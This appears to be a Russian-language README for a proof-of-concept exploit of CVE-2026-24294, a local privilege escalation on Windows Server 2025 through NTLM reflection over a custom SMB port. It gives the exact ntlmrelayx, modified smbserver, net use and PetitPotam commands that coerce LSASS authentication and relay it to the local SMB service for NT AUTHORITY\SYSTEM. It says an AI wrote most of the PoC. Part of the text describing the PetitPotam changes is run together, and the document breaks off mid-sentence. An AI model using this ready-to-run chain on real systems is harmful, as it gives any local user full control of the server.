
Локальный PoC повышения привилегий для CVE-2026-24294, использующий произвольный порт SMB и отражение NTLM для получения SYSTEM на Windows Server 2025.
Локальное повышение привилегий на Windows Server 2025 через NTLM-рефлексию, использующее функцию произвольного порта SMB, появившуюся в Windows 11 24H2 / Server 2025.
В Windows 11 24H2 / Server 2025 появилась функция SMB-клиента, позволяющая устанавливать соединения на произвольных TCP-портах (net use \\host\share /tcpport:PORT). В сочетании с мультиплексированием SMB-сессий (MS-SMB2, раздел 3.2.4.2) это открывает возможность локальной NTLM-рефлексии — пользователь с низкими привилегиями может принудить привилегированную службу (LSASS) пройти аутентификацию на управляемом злоумышленником SMB-сервере на нестандартном порту, а затем переслать перехваченную NTLM-аутентификацию обратно на реальную SMB-службу на порту 445.
Воздействие: NT AUTHORITY\SYSTEM из-под любого локального пользователя.
Затронутые системы: Windows Server 2025 (конфигурация по умолчанию). В Windows 11 24H2 включена подпись SMB, что блокирует ретрансляцию.
LSASS (SYSTEM) ──NTLM──► SMB Client ──TCP:12345──► smbserver.py (наш)
│
▼ ретрансляция NTLM-блобов
SMB Service (:445) ◄────────────────── ntlmrelayx.py
← сессия SYSTEM
net use открывает TCP-соединение с нашим SMB-сервером на пользовательском порту\\127.0.0.1\shareОткройте 3 терминала.
Терминал 1 — Запустите ntlmrelayx (слушает на RAW-порту 6666, ретранслирует на локальный SMB):
python ntlmrelayx.py --no-smb-server --no-http-server --no-wcf-server --no-winrm-server --no-rpc-server --no-mssql-server --no-rdp-server -t smb://127.0.0.1 -c "whoami" -smb2support --raw-port 6666
Терминал 2 — Запустите модифицированный smbserver (слушает на порту 12345, ретранслирует NTLM на порт 6666):
python smbserver.py test . -port 12345 -smb2support -username user -password user -relay-port 6666
Терминал 3 — Запустите эксплойт:
:: Подключение общего ресурса на пользовательском порту (открывает постоянное TCP-соединение)
net use \\127.0.0.1\test /tcpport:12345 /user:user user
:: Принуждение LSASS пройти аутентификацию на нашем SMB-сервере
PetitPotam.exe 127.0.0.1 localhost 2
Вывод whoami из ntlmrelayx покажет NT AUTHORITY\SYSTEM.
PetitPotam/ — Модифицированный исходный код PetitPotam. Два изменения относительно оригинальной версии:
df1941c5-fe89-4e79-bf10-463657acf44d (интерфейс EFSRPC для WS2025)\pipe\efsrpcEfsRpcEncryptFileSrv), имя общего ресурса жестко задано как testsmbserver.py — Модифицированный smbserver из Impacket с флагом -relay-port. Перехватывает SMB2 SESSION_SETUP для захвата второй NTLM-аутентификации на мультиплексированном соединении и ретранслирует её на RAW-ретранслятор (ntlmrelayx --raw-port).Этот PoC в основном написан ИИ (GLM 5.1) на основе исследований и техник, описанных в: